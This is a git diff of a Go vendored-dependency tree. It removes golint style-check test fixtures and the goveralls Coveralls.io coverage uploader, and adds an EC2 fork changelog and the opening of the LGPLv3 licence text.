switch tApi := x.(type) { // MATCH /var.*tApi.*tAPI/
|
||||
}
|
||||
|
||||
select {
|
||||
case qId := <-c: // MATCH /var.*qId.*qID/
|
||||
}
|
||||
}
|
||||
|
||||
// Common styles in other languages that don't belong in Go.
|
||||
const (
|
||||
CPP_CONST = 1 // MATCH /ALL_CAPS.*CamelCase/
|
||||
kLeadingKay = 2 // MATCH /k.*leadingKay/
|
||||
|
||||
HTML = 3 // okay; no underscore
|
||||
X509B = 4 // ditto
|
||||
)
|
||||
|
||||
func f(bad_name int) {} // MATCH /underscore.*func parameter.*bad_name/
|
||||
func g() (no_way int) {} // MATCH /underscore.*func result.*no_way/
|
||||
func (t *t_wow) f(more_under string) {} // MATCH /underscore.*method parameter.*more_under/
|
||||
func (t *t_wow) g() (still_more string) {} // MATCH /underscore.*method result.*still_more/
|
||||
|
||||
type i interface {
|
||||
CheckHtml() string // okay; interface method names are often constrained by the concrete types' method names
|
||||
|
||||
F(foo_bar int) // MATCH /foo_bar.*fooBar/
|
||||
}
|
||||
-3
@@ -1,3 +0,0 @@
|
||||
// Test of missing package comment.
|
||||
|
||||
package foo // MATCH /should.*package comment.*unless/
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
// Test of package comment in an incorrect form.
|
||||
|
||||
// Some random package doc that isn't in the right form.
|
||||
// MATCH /package comment should.*form.*"Package testdata .*"/
|
||||
package testdata
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
// Test of block package comment.
|
||||
// OK
|
||||
|
||||
/*
|
||||
Package foo is pretty sweet.
|
||||
*/
|
||||
package foo
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
// Test of block package comment with leading space.
|
||||
|
||||
/*
|
||||
Package foo is pretty sweet.
|
||||
MATCH /package comment.*leading space/
|
||||
*/
|
||||
package foo
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
// Test of package comment for package main.
|
||||
// OK
|
||||
|
||||
// This binary does something awesome.
|
||||
package main
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
// Test for range construction.
|
||||
|
||||
// Package foo ...
|
||||
package foo
|
||||
|
||||
func f() {
|
||||
// with :=
|
||||
for x, _ := range m { // MATCH /should omit 2nd value.*range.*equivalent.*for x := range/
|
||||
}
|
||||
// with =
|
||||
for y, _ = range m { // MATCH /should omit 2nd value.*range.*equivalent.*for y = range/
|
||||
}
|
||||
|
||||
// all OK:
|
||||
for x := range m {
|
||||
}
|
||||
for x, y := range m {
|
||||
}
|
||||
for _, y := range m {
|
||||
}
|
||||
for x = range m {
|
||||
}
|
||||
for x, y = range m {
|
||||
}
|
||||
for _, y = range m {
|
||||
}
|
||||
}
|
||||
-38
@@ -1,38 +0,0 @@
|
||||
// Test for bad receiver names.
|
||||
|
||||
// Package foo ...
|
||||
package foo
|
||||
|
||||
type foo struct{}
|
||||
|
||||
func (this foo) f1() { // MATCH /should be a reflection of its identity/
|
||||
}
|
||||
|
||||
func (self foo) f2() { // MATCH /should be a reflection of its identity/
|
||||
}
|
||||
|
||||
func (f foo) f3() {
|
||||
}
|
||||
|
||||
func (foo) f4() {
|
||||
}
|
||||
|
||||
type bar struct{}
|
||||
|
||||
func (b bar) f1() {
|
||||
}
|
||||
|
||||
func (b bar) f2() {
|
||||
}
|
||||
|
||||
func (a bar) f3() { // MATCH /receiver name a should be consistent with previous receiver name b for bar/
|
||||
}
|
||||
|
||||
func (a *bar) f4() { // MATCH /receiver name a should be consistent with previous receiver name b for bar/
|
||||
}
|
||||
|
||||
func (b *bar) f5() {
|
||||
}
|
||||
|
||||
func (bar) f6() {
|
||||
}
|
||||
-20
@@ -1,20 +0,0 @@
|
||||
// Test that we don't ask for comments on sort.Interface methods.
|
||||
|
||||
// Package pkg ...
|
||||
package pkg
|
||||
|
||||
// T is ...
|
||||
type T []int
|
||||
|
||||
// Len by itself should get documented.
|
||||
|
||||
func (t T) Len() int { return len(t) } // MATCH /exported method T\.Len.*should.*comment/
|
||||
|
||||
// U is ...
|
||||
type U []int
|
||||
|
||||
func (u U) Len() int { return len(u) }
|
||||
func (u U) Less(i, j int) bool { return u[i] < u[j] }
|
||||
func (u U) Swap(i, j int) { u[i], u[j] = u[j], u[i] }
|
||||
|
||||
func (u U) Other() {} // MATCH /exported method U\.Other.*should.*comment/
|
||||
-48
@@ -1,48 +0,0 @@
|
||||
// Test for redundant type declaration.
|
||||
|
||||
// Package foo ...
|
||||
package foo
|
||||
|
||||
import "fmt"
|
||||
import "net/http"
|
||||
|
||||
var mux *http.ServeMux = http.NewServeMux() // MATCH /should.*\*http\.ServeMux.*inferred/
|
||||
var myInt int = 7 // MATCH /should.*int.*myInt.*inferred/
|
||||
|
||||
var myZeroInt int = 0 // MATCH /should.*= 0.*myZeroInt.*zero value/
|
||||
var myZeroFlt float32 = 0. // MATCH /should.*= 0\..*myZeroFlt.*zero value/
|
||||
var myZeroF64 float64 = 0.0 // MATCH /should.*= 0\..*myZeroF64.*zero value/
|
||||
var myZeroImg complex = 0i // MATCH /should.*= 0i.*myZeroImg.*zero value/
|
||||
var myZeroStr string = "" // MATCH /should.*= "".*myZeroStr.*zero value/
|
||||
var myZeroRaw string = `` // MATCH /should.*= ``.*myZeroRaw.*zero value/
|
||||
var myZeroPtr *Q = nil // MATCH /should.*= nil.*myZeroPtr.*zero value/
|
||||
var myZeroRune rune = '\x00' // MATCH /should.*= '\\x00'.*myZeroRune.*zero value/
|
||||
var myZeroRune2 rune = '\000' // MATCH /should.*= '\\000'.*myZeroRune2.*zero value/
|
||||
|
||||
// No warning because there's no type on the LHS
|
||||
var x = 0
|
||||
|
||||
// This shouldn't get a warning because there's no initial values.
|
||||
var str fmt.Stringer
|
||||
|
||||
// No warning because this is a const.
|
||||
const x uint64 = 7
|
||||
|
||||
// No warnings because the RHS is an ideal int, and the LHS is a different int type.
|
||||
var userID int64 = 1235
|
||||
var negID int64 = -1
|
||||
var parenID int64 = (17)
|
||||
var crazyID int64 = -(-(-(-9)))
|
||||
|
||||
// Same, but for strings and floats.
|
||||
type stringT string
|
||||
type floatT float64
|
||||
|
||||
var stringV stringT = "abc"
|
||||
var floatV floatT = 123.45
|
||||
|
||||
// No warning because the LHS names an interface type.
|
||||
var data interface{} = googleIPs
|
||||
|
||||
// No warning because it's a common idiom for interface satisfaction.
|
||||
var _ Server = (*serverImpl)(nil)
|
||||
@@ -1,2 +0,0 @@
|
||||
*~
|
||||
/goveralls
|
||||
@@ -1,65 +0,0 @@
|
||||
goveralls
|
||||
=========
|
||||
|
||||
[Go](http://golang.org) integration for [Coveralls.io](http://coveralls.io)
|
||||
continuous code coverage tracking system.
|
||||
|
||||
# Installation
|
||||
|
||||
`goveralls` requires a working Go installation (Go1 or higher).
|
||||
|
||||
```bash
|
||||
$ go get github.com/mattn/goveralls
|
||||
```
|
||||
|
||||
|
||||
# Usage
|
||||
|
||||
First you will need an API token. It is found at the bottom of your
|
||||
repository's page when you are logged in to Coveralls.io. Each repo has its
|
||||
own token.
|
||||
|
||||
```bash
|
||||
$ cd $GOPATH/src/github.com/yourusername/yourpackage
|
||||
$ goveralls -repotoken your_repos_coveralls_token
|
||||
```
|
||||
|
||||
# Continuous Integration
|
||||
|
||||
There is no need to run `go test` separately, as `goveralls` runs the entire
|
||||
test suite.
|
||||
|
||||
## Travis CI
|
||||
|
||||
go get code.google.com/p/go.tools/cmd/cover
|
||||
go get github.com/mattn/goveralls
|
||||
go test -covermode=count -coverprofile=profile.cov
|
||||
goveralls -coverprofile=profile.cov -service=travis-ci
|
||||
|
||||
## Drone.io
|
||||
|
||||
Store your Coveralls API token in `Enviornment Variables`:
|
||||
|
||||
```
|
||||
COVERALLS_TOKEN=your_token_goes_here
|
||||
```
|
||||
|
||||
Replace the `go test` line in your `Commands` with these lines:
|
||||
|
||||
```
|
||||
go get github.com/axw/gocov/gocov
|
||||
go get github.com/mattn/goveralls
|
||||
goveralls -service drone.io -repotoken $COVERALLS_TOKEN
|
||||
```
|
||||
|
||||
You can use the `-v` flag to see verbose output from the test suite:
|
||||
|
||||
```
|
||||
goveralls -v -service drone.io -repotoken $COVERALLS_TOKEN
|
||||
```
|
||||
|
||||
|
||||
# License
|
||||
|
||||
under the MIT License: http://mattn.mit-license.org/2013
|
||||
|
||||
@@ -1,99 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var remotesRE = regexp.MustCompile(`^(\S+)\s+(\S+)`)
|
||||
|
||||
// A Head object encapsulates information about the HEAD revision of a git repo.
|
||||
type Head struct {
|
||||
Id string `json:"id"`
|
||||
AuthorName string `json:"author_name,omitempty"`
|
||||
AuthorEmail string `json:"author_email,omitempty"`
|
||||
CommitterName string `json:"committer_name,omitempty"`
|
||||
CommitterEmail string `json:"committer_email,omitempty"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
// A Remote object encapsulates information about a remote of a git repo.
|
||||
type Remote struct {
|
||||
Name string `json:"name"`
|
||||
Url string `json:"url"`
|
||||
}
|
||||
|
||||
// A Git object encapsulates information about a git repo.
|
||||
type Git struct {
|
||||
Head Head `json:"head"`
|
||||
Branch string `json:"branch"`
|
||||
Remotes []*Remote `json:"remotes,omitempty"`
|
||||
}
|
||||
|
||||
// collectGitInfo runs several git commands to compose a Git object.
|
||||
func collectGitInfo() *Git {
|
||||
gitCmds := map[string][]string{
|
||||
"id": {"git", "rev-parse", "HEAD"},
|
||||
"branch": {"git", "rev-parse", "--abbrev-ref", "HEAD"},
|
||||
"aname": {"git", "log", "-1", "--pretty=%aN"},
|
||||
"aemail": {"git", "log", "-1", "--pretty=%aE"},
|
||||
"cname": {"git", "log", "-1", "--pretty=%cN"},
|
||||
"cemail": {"git", "log", "-1", "--pretty=%cE"},
|
||||
"message": {"git", "log", "-1", "--pretty=%s"},
|
||||
"remotes": {"git", "remote", "-v"},
|
||||
}
|
||||
results := map[string]string{}
|
||||
remotes := map[string]Remote{}
|
||||
gitPath, err := exec.LookPath("git")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
for key, args := range gitCmds {
|
||||
cmd := exec.Cmd{}
|
||||
cmd.Path = gitPath
|
||||
cmd.Args = args
|
||||
cmd.Stderr = os.Stderr
|
||||
ret, err := cmd.Output()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
s := string(ret)
|
||||
s = strings.TrimRight(s, "\n")
|
||||
results[key] = s
|
||||
}
|
||||
for _, line := range strings.Split(results["remotes"], "\n") {
|
||||
matches := remotesRE.FindAllStringSubmatch(line, -1)
|
||||
if len(matches) != 1 {
|
||||
continue
|
||||
}
|
||||
if len(matches[0]) != 3 {
|
||||
continue
|
||||
}
|
||||
name := matches[0][1]
|
||||
url := matches[0][2]
|
||||
r := Remote{
|
||||
Name: name,
|
||||
Url: url,
|
||||
}
|
||||
remotes[name] = r
|
||||
}
|
||||
h := Head{
|
||||
Id: results["id"],
|
||||
AuthorName: results["aname"],
|
||||
AuthorEmail: results["aemail"],
|
||||
CommitterName: results["cname"],
|
||||
CommitterEmail: results["cemail"],
|
||||
Message: results["message"],
|
||||
}
|
||||
g := &Git{
|
||||
Head: h,
|
||||
Branch: results["branch"],
|
||||
}
|
||||
for _, r := range remotes {
|
||||
g.Remotes = append(g.Remotes, &r)
|
||||
}
|
||||
return g
|
||||
}
|
||||
@@ -1,141 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
type GocovResult struct {
|
||||
Packages []struct {
|
||||
Name string
|
||||
Functions []struct {
|
||||
Name string
|
||||
File string
|
||||
Start, End int
|
||||
Statements []struct {
|
||||
Start, End, Reached int
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runGocov() (io.ReadCloser, error) {
|
||||
cmd := exec.Command("gocov")
|
||||
args := []string{"gocov", "test"}
|
||||
if *verbose {
|
||||
args = append(args, "-v")
|
||||
}
|
||||
args = append(args, flag.Args()...)
|
||||
if *pkg != "" {
|
||||
args = append(args, *pkg)
|
||||
}
|
||||
cmd.Args = args
|
||||
cmd.Stderr = os.Stderr
|
||||
ret, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return ioutil.NopCloser(bytes.NewReader(ret)), nil
|
||||
}
|
||||
|
||||
func loadGocov() (io.ReadCloser, error) {
|
||||
if *gocovjson == "" {
|
||||
return runGocov()
|
||||
} else {
|
||||
return os.Open(*gocovjson)
|
||||
}
|
||||
}
|
||||
|
||||
func parseGocov(cov io.ReadCloser) ([]*SourceFile, error) {
|
||||
var result GocovResult
|
||||
d := json.NewDecoder(cov)
|
||||
err := d.Decode(&result)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cov.Close()
|
||||
|
||||
sourceFileMap := map[string]*SourceFile{}
|
||||
var rv []*SourceFile
|
||||
|
||||
// Find all the files and load their content
|
||||
fileContent := map[string][]byte{}
|
||||
for _, pkg := range result.Packages {
|
||||
for _, fun := range pkg.Functions {
|
||||
b, ok := fileContent[fun.File]
|
||||
if !ok {
|
||||
b, err = ioutil.ReadFile(fun.File)
|
||||
if err != nil {
|
||||
log.Printf("Error reading %v: %v (skipping)", fun.File, err)
|
||||
continue
|
||||
}
|
||||
fileContent[fun.File] = b
|
||||
// Count the lines
|
||||
sf := &SourceFile{
|
||||
Name: fun.File,
|
||||
Source: string(b),
|
||||
Coverage: make([]interface{}, bytes.Count(b, []byte{'\n'})),
|
||||
}
|
||||
sourceFileMap[fun.File] = sf
|
||||
rv = append(rv, sf)
|
||||
}
|
||||
sf := sourceFileMap[fun.File]
|
||||
|
||||
// First, mark all parts of a mentioned function as covered.
|
||||
linenum := 0
|
||||
for i := range b {
|
||||
if i >= fun.End {
|
||||
break
|
||||
}
|
||||
if b[i] == '\n' {
|
||||
linenum++
|
||||
}
|
||||
if i >= fun.Start {
|
||||
// Leaving off a newline at the end of
|
||||
// the file can cause us to compute line
|
||||
// numbers where there are not lines.
|
||||
if linenum < len(sf.Coverage) {
|
||||
sf.Coverage[linenum] = 1
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Then paint each statement as directed. This will mark misses.
|
||||
for _, st := range fun.Statements {
|
||||
linenum := 0
|
||||
for i := range b {
|
||||
if i >= st.End {
|
||||
break
|
||||
}
|
||||
if b[i] == '\n' {
|
||||
linenum++
|
||||
}
|
||||
if i >= st.Start {
|
||||
sf.Coverage[linenum] = st.Reached
|
||||
break // only count the statement start
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return rv, nil
|
||||
}
|
||||
|
||||
func getCoverageGocov() []*SourceFile {
|
||||
r, err := loadGocov()
|
||||
if err != nil {
|
||||
log.Fatalf("Error loading gocov results: %v", err)
|
||||
}
|
||||
rv, err := parseGocov(r)
|
||||
if err != nil {
|
||||
log.Fatalf("Error parsing gocov: %v", err)
|
||||
}
|
||||
return rv
|
||||
}
|
||||
@@ -1,148 +0,0 @@
|
||||
package main
|
||||
|
||||
// Much of the core of this is copied from go's cover tool itself.
|
||||
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// The rest is written by Dustin Sallings
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"go/build"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Profile represents the profiling data for a specific file.
|
||||
type profile struct {
|
||||
FileName string
|
||||
Mode string
|
||||
Blocks []profileBlock
|
||||
}
|
||||
|
||||
// ProfileBlock represents a single block of profiling data.
|
||||
type profileBlock struct {
|
||||
StartLine, StartCol int
|
||||
EndLine, EndCol int
|
||||
NumStmt, Count int
|
||||
}
|
||||
|
||||
var lineRe = regexp.MustCompile(`^(.+):([0-9]+).([0-9]+),([0-9]+).([0-9]+) ([0-9]+) ([0-9]+)$`)
|
||||
|
||||
func toInt(s string) int {
|
||||
i, err := strconv.Atoi(s)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return i
|
||||
}
|
||||
|
||||
func parseProfiles(fileName string) ([]*profile, error) {
|
||||
pf, err := os.Open(fileName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
files := make(map[string]*profile)
|
||||
buf := bufio.NewReader(pf)
|
||||
// First line is "mode: foo", where foo is "set", "count", or "atomic".
|
||||
// Rest of file is in the format
|
||||
// encoding/base64/base64.go:34.44,37.40 3 1
|
||||
// where the fields are: name.go:line.column,line.column numberOfStatements count
|
||||
s := bufio.NewScanner(buf)
|
||||
mode := ""
|
||||
for s.Scan() {
|
||||
line := s.Text()
|
||||
if mode == "" {
|
||||
const p = "mode: "
|
||||
if !strings.HasPrefix(line, p) || line == p {
|
||||
return nil, fmt.Errorf("bad mode line: %v", line)
|
||||
}
|
||||
mode = line[len(p):]
|
||||
continue
|
||||
}
|
||||
m := lineRe.FindStringSubmatch(line)
|
||||
if m == nil {
|
||||
return nil, fmt.Errorf("line %q doesn't match expected format: %v", m, lineRe)
|
||||
}
|
||||
fn := m[1]
|
||||
p := files[fn]
|
||||
if p == nil {
|
||||
p = &profile{
|
||||
FileName: fn,
|
||||
Mode: mode,
|
||||
}
|
||||
files[fn] = p
|
||||
}
|
||||
p.Blocks = append(p.Blocks, profileBlock{
|
||||
StartLine: toInt(m[2]),
|
||||
StartCol: toInt(m[3]),
|
||||
EndLine: toInt(m[4]),
|
||||
EndCol: toInt(m[5]),
|
||||
NumStmt: toInt(m[6]),
|
||||
Count: toInt(m[7]),
|
||||
})
|
||||
}
|
||||
if err := s.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rv := make([]*profile, 0, len(files))
|
||||
for _, profile := range files {
|
||||
rv = append(rv, profile)
|
||||
}
|
||||
return rv, nil
|
||||
}
|
||||
|
||||
func findFile(file string) (string, error) {
|
||||
dir, file := filepath.Split(file)
|
||||
pkg, err := build.Import(dir, ".", build.FindOnly)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("can't find %q: %v", file, err)
|
||||
}
|
||||
return filepath.Join(pkg.Dir, file), nil
|
||||
}
|
||||
|
||||
func parseCover(fn string) []*SourceFile {
|
||||
profs, err := parseProfiles(fn)
|
||||
if err != nil {
|
||||
log.Fatalf("Error parsing coverage: %v", err)
|
||||
}
|
||||
|
||||
var rv []*SourceFile
|
||||
for _, prof := range profs {
|
||||
path, err := findFile(prof.FileName)
|
||||
if err != nil {
|
||||
log.Fatalf("Can't find %v", err)
|
||||
}
|
||||
fb, err := ioutil.ReadFile(path)
|
||||
if err != nil {
|
||||
log.Fatalf("Error reading %v: %v", path, err)
|
||||
}
|
||||
sf := &SourceFile{
|
||||
Name: prof.FileName,
|
||||
Source: string(fb),
|
||||
Coverage: make([]interface{}, 1+bytes.Count(fb, []byte{'\n'})),
|
||||
}
|
||||
|
||||
for _, block := range prof.Blocks {
|
||||
for i := block.StartLine; i <= block.EndLine; i++ {
|
||||
sf.Coverage[i-1] = block.Count
|
||||
}
|
||||
}
|
||||
|
||||
rv = append(rv, sf)
|
||||
}
|
||||
|
||||
return rv
|
||||
}
|
||||
@@ -1,142 +0,0 @@
|
||||
// Copyright (c) 2013 Yasuhiro Matsumoto, Jason McVetta.
|
||||
// This is Free Software, released under the MIT license.
|
||||
// See http://mattn.mit-license.org/2013 for details.
|
||||
|
||||
// goveralls is a Go client for Coveralls.io.
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"code.google.com/p/go-uuid/uuid"
|
||||
)
|
||||
|
||||
/*
|
||||
https://coveralls.io/docs/api_reference
|
||||
*/
|
||||
|
||||
var (
|
||||
pkg = flag.String("package", "", "Go package")
|
||||
verbose = flag.Bool("v", false, "Pass '-v' argument to 'go test'")
|
||||
gocovjson = flag.String("gocovdata", "", "If supplied, use existing gocov.json")
|
||||
coverprof = flag.String("coverprofile", "", "If supplied, use a go cover profile")
|
||||
repotoken = flag.String("repotoken", "", "Repository Token on coveralls")
|
||||
service = flag.String("service", "travis-ci", "The CI service or other environment in which the test suite was run. ")
|
||||
)
|
||||
|
||||
// usage supplants package flag's Usage variable
|
||||
var usage = func() {
|
||||
cmd := os.Args[0]
|
||||
// fmt.Fprintf(os.Stderr, "Usage of %s:\n", cmd)
|
||||
s := "Usage: %s [options] TOKEN\n"
|
||||
fmt.Fprintf(os.Stderr, s, cmd)
|
||||
flag.PrintDefaults()
|
||||
}
|
||||
|
||||
// A SourceFile represents a source code file and its coverage data for a
|
||||
// single job.
|
||||
type SourceFile struct {
|
||||
Name string `json:"name"` // File path of this source file
|
||||
Source string `json:"source"` // Full source code of this file
|
||||
Coverage []interface{} `json:"coverage"` // Requires both nulls and integers
|
||||
}
|
||||
|
||||
// A Job represents the coverage data from a single run of a test suite.
|
||||
type Job struct {
|
||||
RepoToken *string `json:"repo_token,omitempty"`
|
||||
ServiceJobId string `json:"service_job_id"`
|
||||
ServiceName string `json:"service_name"`
|
||||
SourceFiles []*SourceFile `json:"source_files"`
|
||||
Git *Git `json:"git,omitempty"`
|
||||
RunAt time.Time `json:"run_at"`
|
||||
}
|
||||
|
||||
// A Response is returned by the Coveralls.io API.
|
||||
type Response struct {
|
||||
Message string `json:"message"`
|
||||
URL string `json:"url"`
|
||||
Error bool `json:"error"`
|
||||
}
|
||||
|
||||
func getCoverage() []*SourceFile {
|
||||
if *coverprof != "" {
|
||||
return parseCover(*coverprof)
|
||||
} else {
|
||||
return getCoverageGocov()
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
log.SetFlags(log.Ltime | log.Lshortfile)
|
||||
//
|
||||
// Parse Flags
|
||||
//
|
||||
flag.Usage = usage
|
||||
flag.Parse()
|
||||
|
||||
//
|
||||
// Setup PATH environment variable
|
||||
//
|
||||
paths := filepath.SplitList(os.Getenv("PATH"))
|
||||
if goroot := os.Getenv("GOROOT"); goroot != "" {
|
||||
paths = append(paths, filepath.Join(goroot, "bin"))
|
||||
}
|
||||
if gopath := os.Getenv("GOPATH"); gopath != "" {
|
||||
for _, path := range filepath.SplitList(gopath) {
|
||||
paths = append(paths, filepath.Join(path, "bin"))
|
||||
}
|
||||
}
|
||||
os.Setenv("PATH", strings.Join(paths, string(filepath.ListSeparator)))
|
||||
|
||||
//
|
||||
// Initialize Job
|
||||
//
|
||||
jobId := os.Getenv("TRAVIS_JOB_ID")
|
||||
if jobId == "" {
|
||||
jobId = uuid.New()
|
||||
}
|
||||
if *repotoken == "" {
|
||||
repotoken = nil // remove the entry from json
|
||||
}
|
||||
|
||||
j := Job{
|
||||
RunAt: time.Now(),
|
||||
RepoToken: repotoken,
|
||||
ServiceJobId: jobId,
|
||||
Git: collectGitInfo(),
|
||||
SourceFiles: getCoverage(),
|
||||
ServiceName: *service,
|
||||
}
|
||||
|
||||
b, err := json.Marshal(j)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
params := make(url.Values)
|
||||
params.Set("json", string(b))
|
||||
res, err := http.PostForm("https://coveralls.io/api/v1/jobs", params)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
defer res.Body.Close()
|
||||
var response Response
|
||||
err = json.NewDecoder(res.Body).Decode(&response)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
if response.Error {
|
||||
log.Fatal(response.Message)
|
||||
}
|
||||
fmt.Println(response.Message)
|
||||
fmt.Println(response.URL)
|
||||
}
|
||||
@@ -1,84 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"code.google.com/p/go-uuid/uuid"
|
||||
)
|
||||
|
||||
func myImportPath() string {
|
||||
cmd := exec.Command("go", "list")
|
||||
b, err := cmd.CombinedOutput()
|
||||
if err == nil {
|
||||
panic(err)
|
||||
}
|
||||
return strings.TrimSpace(string(b))
|
||||
}
|
||||
|
||||
func TestUsage(t *testing.T) {
|
||||
tmp := prepareTest(t)
|
||||
defer os.RemoveAll(tmp)
|
||||
cmd := exec.Command("goveralls", "-h")
|
||||
b, err := cmd.CombinedOutput()
|
||||
if err == nil {
|
||||
t.Fatal("Expected exit code 1 bot 0")
|
||||
}
|
||||
s := strings.Split(string(b), "\n")[0]
|
||||
if !strings.HasPrefix(s, "Usage: goveralls ") {
|
||||
t.Fatalf("Expected %v, but %v", "Usage: ", s)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGoveralls(t *testing.T) {
|
||||
tmp := prepareTest(t)
|
||||
p := myImportPath()
|
||||
defer os.RemoveAll(tmp)
|
||||
runCmd(t, "go", "get", p+"/tester")
|
||||
runCmd(t, "go", "get", "github.com/axw/gocov/gocov")
|
||||
b := runCmd(t, "./goveralls", "-package="+p+"/tester", "")
|
||||
lines := strings.Split(strings.TrimSpace(string(b)), "\n")
|
||||
s := lines[len(lines)-1]
|
||||
if s != "Succeeded" {
|
||||
t.Fatalf("Expected test of tester are succeeded, but failured")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGoverallsExisting(t *testing.T) {
|
||||
p := myImportPath()
|
||||
t.Logf("My import path is %q", p)
|
||||
|
||||
tmp := prepareTest(t)
|
||||
defer os.RemoveAll(tmp)
|
||||
runCmd(t, "go", "get", p+"/tester")
|
||||
runCmd(t, "go", "get", "github.com/axw/gocov/gocov")
|
||||
b := runCmd(t, "goveralls", "-gocovdata=tester/cov.json",
|
||||
"-package="+p+"/tester", "")
|
||||
lines := strings.Split(strings.TrimSpace(string(b)), "\n")
|
||||
s := lines[len(lines)-1]
|
||||
if s != "Succeeded" {
|
||||
t.Fatalf("Expected test of tester are succeeded, but failured")
|
||||
}
|
||||
}
|
||||
|
||||
func prepareTest(t *testing.T) (tmpPath string) {
|
||||
tmp := os.TempDir()
|
||||
tmp = filepath.Join(tmp, uuid.New())
|
||||
os.Setenv("GOPATH", tmp)
|
||||
path := os.Getenv("PATH")
|
||||
path = tmp + "/bin:" + path
|
||||
os.Setenv("PATH", path)
|
||||
runCmd(t, "go", "get", myImportPath())
|
||||
return tmp
|
||||
}
|
||||
|
||||
func runCmd(t *testing.T, cmd string, args ...string) []byte {
|
||||
b, err := exec.Command(cmd, args...).CombinedOutput()
|
||||
if err != nil {
|
||||
t.Fatalf("Expected %v, but %v: %v", nil, err, string(b))
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
{"Packages":[{"Name":"github.com/dustin/goveralls/tester","Functions":[{"Name":"GoverallsTester","File":"/Users/dustin/go/src/github.com/dustin/goveralls/tester/tester.go","Start":34,"End":150,"Statements":[{"Start":67,"End":101,"Reached":1},{"Start":103,"End":138,"Reached":1},{"Start":118,"End":135,"Reached":1},{"Start":140,"End":148,"Reached":1}],"Entered":0,"Left":0}]}]}
|
||||
@@ -1,13 +0,0 @@
|
||||
package tester
|
||||
|
||||
import (
|
||||
"os"
|
||||
)
|
||||
|
||||
func GoverallsTester() string {
|
||||
s := os.Getenv("GOVERALLS_TESTER")
|
||||
if s == "" {
|
||||
s = "hello world"
|
||||
}
|
||||
return s
|
||||
}
|
||||
-13
@@ -1,13 +0,0 @@
|
||||
package tester
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSimple(t *testing.T) {
|
||||
value := GoverallsTester()
|
||||
expected := "hello world"
|
||||
if value != expected {
|
||||
t.Fatalf("Expected %v, but %d:", value, expected)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
# Changes in this fork
|
||||
|
||||
* Added EC2.CreateImage()
|
||||
* Added EC2.CreateKeyPair()
|
||||
* Added EC2.DeleteKeyPair()
|
||||
@@ -0,0 +1,185 @@
|
||||
This software is licensed under the LGPLv3, included below.
|
||||
|
||||
As a special exception to the GNU Lesser General Public License version 3
|
||||
("LGPL3"), the copyright holders of this Library give you permission to
|
||||
convey to a third party a Combined Work that links statically or dynamically
|
||||
to this Library without providing any Minimal Corresponding Source or
|
||||
Minimal Application Code as set out in 4d or providing the installation
|
||||
information set out in section 4e, provided that you comply with the other
|
||||
provisions of LGPL3 and provided that you meet, for the Application the
|
||||
terms and conditions of the license(s) which apply to the Application.
|
||||
|
||||
Except as stated in this special exception, the provisions of LGPL3 will
|
||||
continue to comply in full to this Library. If you modify this Library, you
|
||||
may apply this exception to your version of this Library, but you are not
|
||||
obliged to do so. If you do not wish to do so, delete this exception
|
||||
statement from your version. This exception does not (and cannot) modify any
|
||||
license terms which apply to the Application, with which you must still
|
||||
comply.
|
||||
|
||||
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
|
||||
This version of the GNU Lesser General Public License incorporates
|
||||
the terms and conditions of version 3 of the GNU General Public
|
||||
License, supplemented by the additional permissions listed below.
|
||||
|
||||
